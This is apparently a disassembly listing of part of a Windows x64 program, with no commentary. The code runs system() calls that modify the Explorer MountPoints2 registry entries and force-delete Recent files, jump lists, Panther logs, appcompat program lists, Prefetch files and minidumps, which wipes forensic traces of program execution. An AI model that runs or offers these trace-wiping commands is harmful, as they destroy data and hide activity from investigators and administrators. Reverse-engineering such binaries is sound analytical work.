lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2___f
lea rcx, [rsp + 0x40]
call fcn.140006790
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140004632
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000462d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000462d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
movdqa xmm0, xmmword [0x14000cf30]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140004689
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004684
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004684
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
mov rcx, qword [rbp + 0x200]
sub rdi, rcx
cmp rdi, 0x14
jb 0x1400049d3
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x14
lea r9, str.REG_ADD__HKEY_USERS_
lea rcx, [rsp + 0x40]
call fcn.140008800
nop
mov r8d, 0x41
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2_
lea rcx, [rsp + 0x40]
call fcn.140006790
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x14000478a
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004785
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004785
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
movdqa xmm0, xmmword [0x14000cf30]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400047e1
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400047dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
lea rcx, str.DEL__f__q__APPDATA_MicrosoftWindowsRecent.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__APPDATA_MicrosoftWindowsRecentCustomDestinations.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__APPDATA_MicrosoftWindowsRecentAutomaticDestinations.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Panther.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.pf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.ini
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.7db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.ebd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.bin
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_PrefetchReadyBoot.fx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Minidump.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rcx, qword [rbp + 0x218]
test rcx, rcx
je 0x14000491e
mov rdx, qword [rbp + 0x220]
call fcn.140007d40
mov rdx, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x218]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004907
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004907
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x218], xmm0
mov qword [rbp + 0x228], r13
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x140004963
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000495d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000495d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x1400049a7
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400049a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.1400090c0
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r13
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140006810
nop
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3